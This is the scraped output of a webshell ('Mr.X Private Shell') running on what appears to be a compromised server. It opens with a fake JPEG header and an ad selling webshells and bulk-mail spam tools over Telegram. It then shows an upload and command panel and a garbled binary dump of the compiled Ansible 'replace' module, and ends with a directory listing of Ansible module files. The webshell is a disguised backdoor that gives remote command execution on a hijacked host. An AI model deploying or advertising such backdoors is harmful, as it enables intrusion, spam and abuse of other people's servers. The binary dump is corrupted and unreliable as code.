����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g�,�@s�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZmZddlmZd	d
�Zdd�Zd
d�Zedkr�e�dS)�)�absolute_import�division�print_functiona�
---
module: replace
author: Evan Kaufman (@EvanK)
extends_documentation_fragment:
    - action_common_attributes
    - action_common_attributes.files
    - files
    - validate
attributes:
    check_mode:
        support: full
    diff_mode:
        support: full
    platform:
        platforms: posix
    safe_file_operations:
        support: full
    vault:
        support: none
short_description: Replace all instances of a particular string in a
                   file using a back-referenced regular expression
description:
  - This module will replace all instances of a pattern within a file.
  - It is up to the user to maintain idempotence by ensuring that the
    same pattern would never match any replacements made.
version_added: "1.6"
options:
  path:
    description:
      - The file to modify.
      - Before Ansible 2.3 this option was only usable as I(dest), I(destfile) and I(name).
    type: path
    required: true
    aliases: [ dest, destfile, name ]
  regexp:
    description:
      - The regular expression to look for in the contents of the file.
      - Uses Python regular expressions; see
        U(https://docs.python.org/3/library/re.html).
      - Uses MULTILINE mode, which means C(^) and C($) match the beginning
        and end of the file, as well as the beginning and end respectively
        of I(each line) of the file.
      - Does not use DOTALL, which means the C(.) special character matches
        any character I(except newlines). A common mistake is to assume that
        a negated character set like C([^#]) will also not match newlines.
      - In order to exclude newlines, they must be added to the set like C([^#\n]).
      - Note that, as of Ansible 2.0, short form tasks should have any escape
        sequences backslash-escaped in order to prevent them being parsed
        as string literal escapes. See the examples.
    type: str
    required: true
  replace:
    description:
      - The string to replace regexp matches.
      - May contain backreferences that will get expanded with the regexp capture groups if the regexp matches.
      - If not set, matches are removed entirely.
      - Backreferences can be used ambiguously like C(\1), or explicitly like C(\g<1>).
    type: str
  after:
    description:
      - If specified, only content after this match will be replaced/removed.
      - Can be used in combination with C(before).
      - Uses Python regular expressions; see
        U(https://docs.python.org/3/library/re.html).
      - Uses DOTALL, which means the C(.) special character I(can match newlines).
    type: str
    version_added: "2.4"
  before:
    description:
      - If specified, only content before this match will be replaced/removed.
      - Can be used in combination with C(after).
      - Uses Python regular expressions; see
        U(https://docs.python.org/3/library/re.html).
      - Uses DOTALL, which means the C(.) special character I(can match newlines).
    type: str
    version_added: "2.4"
  backup:
    description:
      - Create a backup file including the timestamp information so you can
        get the original file back if you somehow clobbered it incorrectly.
    type: bool
    default: no
  others:
    description:
      - All arguments accepted by the M(ansible.builtin.file) module also work here.
    type: str
  encoding:
    description:
      - The character encoding for reading and writing the file.
    type: str
    default: utf-8
    version_added: "2.4"
notes:
  - As of Ansible 2.3, the I(dest) option has been changed to I(path) as default, but I(dest) still works as well.
  - As of Ansible 2.7.10, the combined use of I(before) and I(after) works properly. If you were relying on the
    previous incorrect behavior, you may be need to adjust your tasks.
    See U(https://github.com/ansible/ansible/issues/31354) for details.
  - Option I(follow) has been removed in Ansible 2.5, because this module modifies the contents of the file so I(follow=no) doesn't make sense.
a�
- name: Replace old hostname with new hostname (requires Ansible >= 2.4)
  ansible.builtin.replace:
    path: /etc/hosts
    regexp: '(\s+)old\.host\.name(\s+.*)?$'
    replace: '\1new.host.name\2'

- name: Replace after the expression till the end of the file (requires Ansible >= 2.4)
  ansible.builtin.replace:
    path: /etc/apache2/sites-available/default.conf
    after: 'NameVirtualHost [*]'
    regexp: '^(.+)$'
    replace: '# \1'

- name: Replace before the expression till the begin of the file (requires Ansible >= 2.4)
  ansible.builtin.replace:
    path: /etc/apache2/sites-available/default.conf
    before: '# live site config'
    regexp: '^(.+)$'
    replace: '# \1'

# Prior to Ansible 2.7.10, using before and after in combination did the opposite of what was intended.
# see https://github.com/ansible/ansible/issues/31354 for details.
- name: Replace between the expressions (requires Ansible >= 2.4)
  ansible.builtin.replace:
    path: /etc/hosts
    after: '<VirtualHost [*]>'
    before: '</VirtualHost>'
    regexp: '^(.+)$'
    replace: '# \1'

- name: Supports common file attributes
  ansible.builtin.replace:
    path: /home/jdoe/.ssh/known_hosts
    regexp: '^old\.host\.name[^\n]*\n'
    owner: jdoe
    group: jdoe
    mode: '0644'

- name: Supports a validate command
  ansible.builtin.replace:
    path: /etc/apache/ports
    regexp: '^(NameVirtualHost|Listen)\s+80\s*$'
    replace: '\1 127.0.0.1:8080'
    validate: '/usr/sbin/apache2ctl -f %s -t'

- name: Short form task (in ansible 2+) necessitates backslash-escaped sequences
  ansible.builtin.replace: path=/etc/hosts regexp='\\b(localhost)(\\d*)\\b' replace='\\1\\2.localdomain\\2 \\1\\2'

- name: Long form task does not
  ansible.builtin.replace:
    path: /etc/hosts
    regexp: '\b(localhost)(\d*)\b'
    replace: '\1\2.localdomain\2 \1\2'

- name: Explicitly specifying positional matched groups in replacement
  ansible.builtin.replace:
    path: /etc/ssh/sshd_config
    regexp: '^(ListenAddress[ ]+)[^\n]+$'
    replace: '\g<1>0.0.0.0'

- name: Explicitly specifying named matched groups
  ansible.builtin.replace:
    path: /etc/ssh/sshd_config
    regexp: '^(?P<dctv>ListenAddress[ ]+)(?P<host>[^\n]+)$'
    replace: '#\g<dctv>\g<host>\n\g<dctv>0.0.0.0'
�#N)�
format_exc)�to_text�to_bytes)�
AnsibleModulecCs�tj|jd�\}}t�|d�}|�|�|��|j�dd�}|}|r�d|vr`|j	d|d�|�
||�\}}	}
|dk}|dkr�|j	d||
fd�|r�|j|||jd	d
�dS)N)�dir�wb�validatez%szvalidate must contain %%s: %s)�msgrz"failed to validate: rc:%s error:%s�
unsafe_writes)r)�tempfileZmkstempZtmpdir�os�fdopen�write�close�params�get�	fail_jsonZrun_commandZatomic_move)�module�contents�pathZtmpfdZtmpfile�frZvalid�rc�out�err�r�;/usr/lib/python3.9/site-packages/ansible/modules/replace.py�
write_changes�s"
�r cCs8|�|j�}|�|d�r0|r$|d7}d}|d7}||fS)NFz and Tz,ownership, perms or SE linux context changed)Zload_file_common_argumentsrZ set_file_attributes_if_different)r�changed�messageZ	file_argsrrr�check_file_attrs�sr#c
Cs�tttddgd�d�tddd�tddd�tdd	�tdd	�td
dd�tdd	�tddd�d
�ddd�}|j}|d}|d}tdd�}t|dddd�|d<t|dddd�|d<t|dddd�|d<t|dddd�|d<tj�|�r�|jdd|d�tj�|��s|jdd|d�n�zBt	|d��"}t|�
�d|d�}Wd�n1�sP0YWnFttf�y�}z(|jd |t|�ft
�d!�WYd}~n
d}~00d}|d�r�|d�r�d"|d|df}n.|d�r�d#|d}n|d�rd$|d}|�rlt�|tj�}	t�|	|�}
|
�rF|
�d%�}|
�d%�|
�d%�g}n$d&||d'<d|d(<|jfi|��n|}t�|dtj�}
t�|
|d|d�}|d)dk�r||dk�r|�r�|d|d�|d||d)d�|d)f}d*|d)}d}|j�r ||||dd+�|d,<nd}d}|�rx|j�sx|d-�rTtj�|��rT|�|�|d.<tj�|�}t|t|d|d/�|�t|||�\|d'<|d(<|jfi|��dS)0NrT)�destZdestfile�name)�type�required�aliases�str)r&r'�)r&�default)r&�boolFzutf-8)r�regexp�replace�after�before�backupr�encoding)Z
argument_specZadd_file_common_argsZsupports_check_moder2r)rr/Zsurrogate_or_strictZpassthru)�errorsZ	nonstringr0r-r.�zPath %s is a directory !)rr
izPath %s does not exist !�rb)r3r2z%Unable to read the contents of %s: %s)r
�	exceptionz%s(?P<subsection>.*?)%sz%s(?P<subsection>.*)z(?P<subsection>.*)%sZ
subsectionz@Pattern for before/after params did not match the given file: %sr
r!�z%s replacements made)Z
before_headerr0Zafter_headerr/�diffr1Zbackup_file)r2)r	�dictrrrr�isdirr�exists�open�read�OSError�IOErrorr�re�compile�DOTALL�search�group�start�endZ	exit_json�	MULTILINE�subnZ_diffZ
check_modeZbackup_local�realpathr rr#)rrrr2Zres_argsrr�e�patternZ
section_re�match�section�indicesZmre�resultr
r!rrr�main�s�



�
�
6�


0�rP�__main__)Z
__future__rrrr&Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNrr@r�	tracebackrZansible.module_utils._textrrZansible.module_utils.basicr	r r#rP�__name__rrrr�<module>seD
Z

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 151 B 0644
__init__.cpython-39.pyc File 151 B 0644
_include.cpython-39.opt-1.pyc File 3.1 KB 0644
_include.cpython-39.pyc File 3.1 KB 0644
add_host.cpython-39.opt-1.pyc File 3.82 KB 0644
add_host.cpython-39.pyc File 3.82 KB 0644
apt.cpython-39.opt-1.pyc File 35.28 KB 0644
apt.cpython-39.pyc File 35.28 KB 0644
apt_key.cpython-39.opt-1.pyc File 13.79 KB 0644
apt_key.cpython-39.pyc File 13.79 KB 0644
apt_repository.cpython-39.opt-1.pyc File 20.75 KB 0644
apt_repository.cpython-39.pyc File 20.75 KB 0644
assemble.cpython-39.opt-1.pyc File 6.86 KB 0644
assemble.cpython-39.pyc File 6.86 KB 0644
assert.cpython-39.opt-1.pyc File 2.76 KB 0644
assert.cpython-39.pyc File 2.76 KB 0644
async_status.cpython-39.opt-1.pyc File 3.76 KB 0644
async_status.cpython-39.pyc File 3.76 KB 0644
async_wrapper.cpython-39.opt-1.pyc File 7.03 KB 0644
async_wrapper.cpython-39.pyc File 7.03 KB 0644
blockinfile.cpython-39.opt-1.pyc File 10.78 KB 0644
blockinfile.cpython-39.pyc File 10.78 KB 0644
command.cpython-39.opt-1.pyc File 10.53 KB 0644
command.cpython-39.pyc File 10.53 KB 0644
copy.cpython-39.opt-1.pyc File 21.83 KB 0644
copy.cpython-39.pyc File 21.83 KB 0644
cron.cpython-39.opt-1.pyc File 19.02 KB 0644
cron.cpython-39.pyc File 19.02 KB 0644
debconf.cpython-39.opt-1.pyc File 6.57 KB 0644
debconf.cpython-39.pyc File 6.57 KB 0644
debug.cpython-39.opt-1.pyc File 2.9 KB 0644
debug.cpython-39.pyc File 2.9 KB 0644
dnf.cpython-39.opt-1.pyc File 33.89 KB 0644
dnf.cpython-39.pyc File 33.89 KB 0644
dpkg_selections.cpython-39.opt-1.pyc File 2.2 KB 0644
dpkg_selections.cpython-39.pyc File 2.2 KB 0644
expect.cpython-39.opt-1.pyc File 6.64 KB 0644
expect.cpython-39.pyc File 6.64 KB 0644
fail.cpython-39.opt-1.pyc File 1.68 KB 0644
fail.cpython-39.pyc File 1.68 KB 0644
fetch.cpython-39.opt-1.pyc File 4.09 KB 0644
fetch.cpython-39.pyc File 4.09 KB 0644
file.cpython-39.opt-1.pyc File 23.32 KB 0644
file.cpython-39.pyc File 23.32 KB 0644
find.cpython-39.opt-1.pyc File 14.63 KB 0644
find.cpython-39.pyc File 14.63 KB 0644
gather_facts.cpython-39.opt-1.pyc File 2.53 KB 0644
gather_facts.cpython-39.pyc File 2.53 KB 0644
get_url.cpython-39.opt-1.pyc File 20.14 KB 0644
get_url.cpython-39.pyc File 20.14 KB 0644
getent.cpython-39.opt-1.pyc File 4.92 KB 0644
getent.cpython-39.pyc File 4.92 KB 0644
git.cpython-39.opt-1.pyc File 36.37 KB 0644
git.cpython-39.pyc File 36.37 KB 0644
group.cpython-39.opt-1.pyc File 16.71 KB 0644
group.cpython-39.pyc File 16.71 KB 0644
group_by.cpython-39.opt-1.pyc File 2.41 KB 0644
group_by.cpython-39.pyc File 2.41 KB 0644
hostname.cpython-39.opt-1.pyc File 30.2 KB 0644
hostname.cpython-39.pyc File 30.2 KB 0644
import_playbook.cpython-39.opt-1.pyc File 2.1 KB 0644
import_playbook.cpython-39.pyc File 2.1 KB 0644
import_role.cpython-39.opt-1.pyc File 3.31 KB 0644
import_role.cpython-39.pyc File 3.31 KB 0644
import_tasks.cpython-39.opt-1.pyc File 2.18 KB 0644
import_tasks.cpython-39.pyc File 2.18 KB 0644
include_role.cpython-39.opt-1.pyc File 4.19 KB 0644
include_role.cpython-39.pyc File 4.19 KB 0644
include_tasks.cpython-39.opt-1.pyc File 2.68 KB 0644
include_tasks.cpython-39.pyc File 2.68 KB 0644
include_vars.cpython-39.opt-1.pyc File 6.53 KB 0644
include_vars.cpython-39.pyc File 6.53 KB 0644
iptables.cpython-39.opt-1.pyc File 27.12 KB 0644
iptables.cpython-39.pyc File 27.12 KB 0644
known_hosts.cpython-39.opt-1.pyc File 9.8 KB 0644
known_hosts.cpython-39.pyc File 9.8 KB 0644
lineinfile.cpython-39.opt-1.pyc File 16.15 KB 0644
lineinfile.cpython-39.pyc File 16.15 KB 0644
meta.cpython-39.opt-1.pyc File 5.85 KB 0644
meta.cpython-39.pyc File 5.85 KB 0644
package.cpython-39.opt-1.pyc File 3.37 KB 0644
package.cpython-39.pyc File 3.37 KB 0644
package_facts.cpython-39.opt-1.pyc File 16.11 KB 0644
package_facts.cpython-39.pyc File 16.11 KB 0644
pause.cpython-39.opt-1.pyc File 3.51 KB 0644
pause.cpython-39.pyc File 3.51 KB 0644
ping.cpython-39.opt-1.pyc File 2.3 KB 0644
ping.cpython-39.pyc File 2.3 KB 0644
pip.cpython-39.opt-1.pyc File 21.6 KB 0644
pip.cpython-39.pyc File 21.6 KB 0644
raw.cpython-39.opt-1.pyc File 3.55 KB 0644
raw.cpython-39.pyc File 3.55 KB 0644
reboot.cpython-39.opt-1.pyc File 4.66 KB 0644
reboot.cpython-39.pyc File 4.66 KB 0644
replace.cpython-39.opt-1.pyc File 9.8 KB 0644
replace.cpython-39.pyc File 9.8 KB 0644
rpm_key.cpython-39.opt-1.pyc File 7.15 KB 0644
rpm_key.cpython-39.pyc File 7.15 KB 0644
script.cpython-39.opt-1.pyc File 4.08 KB 0644
script.cpython-39.pyc File 4.08 KB 0644
service.cpython-39.opt-1.pyc File 36.32 KB 0644
service.cpython-39.pyc File 36.32 KB 0644
service_facts.cpython-39.opt-1.pyc File 12.36 KB 0644
service_facts.cpython-39.pyc File 12.36 KB 0644
set_fact.cpython-39.opt-1.pyc File 5.62 KB 0644
set_fact.cpython-39.pyc File 5.62 KB 0644
set_stats.cpython-39.opt-1.pyc File 2.63 KB 0644
set_stats.cpython-39.pyc File 2.63 KB 0644
setup.cpython-39.opt-1.pyc File 9.64 KB 0644
setup.cpython-39.pyc File 9.64 KB 0644
shell.cpython-39.opt-1.pyc File 6.39 KB 0644
shell.cpython-39.pyc File 6.39 KB 0644
slurp.cpython-39.opt-1.pyc File 3.17 KB 0644
slurp.cpython-39.pyc File 3.17 KB 0644
stat.cpython-39.opt-1.pyc File 17.67 KB 0644
stat.cpython-39.pyc File 17.67 KB 0644
subversion.cpython-39.opt-1.pyc File 10.65 KB 0644
subversion.cpython-39.pyc File 10.65 KB 0644
systemd.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd.cpython-39.pyc File 15.93 KB 0644
systemd_service.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd_service.cpython-39.pyc File 15.93 KB 0644
sysvinit.cpython-39.opt-1.pyc File 8.33 KB 0644
sysvinit.cpython-39.pyc File 8.33 KB 0644
tempfile.cpython-39.opt-1.pyc File 3.2 KB 0644
tempfile.cpython-39.pyc File 3.2 KB 0644
template.cpython-39.opt-1.pyc File 3.02 KB 0644
template.cpython-39.pyc File 3.02 KB 0644
unarchive.cpython-39.opt-1.pyc File 28.11 KB 0644
unarchive.cpython-39.pyc File 28.11 KB 0644
uri.cpython-39.opt-1.pyc File 23.3 KB 0644
uri.cpython-39.pyc File 23.3 KB 0644
user.cpython-39.opt-1.pyc File 73.99 KB 0644
user.cpython-39.pyc File 73.99 KB 0644
validate_argument_spec.cpython-39.opt-1.pyc File 3.05 KB 0644
validate_argument_spec.cpython-39.pyc File 3.05 KB 0644
wait_for.cpython-39.opt-1.pyc File 19.08 KB 0644
wait_for.cpython-39.pyc File 19.08 KB 0644
wait_for_connection.cpython-39.opt-1.pyc File 3.39 KB 0644
wait_for_connection.cpython-39.pyc File 3.39 KB 0644
yum.cpython-39.opt-1.pyc File 41.95 KB 0644
yum.cpython-39.pyc File 41.95 KB 0644
yum_repository.cpython-39.opt-1.pyc File 20.58 KB 0644
yum_repository.cpython-39.pyc File 20.58 KB 0644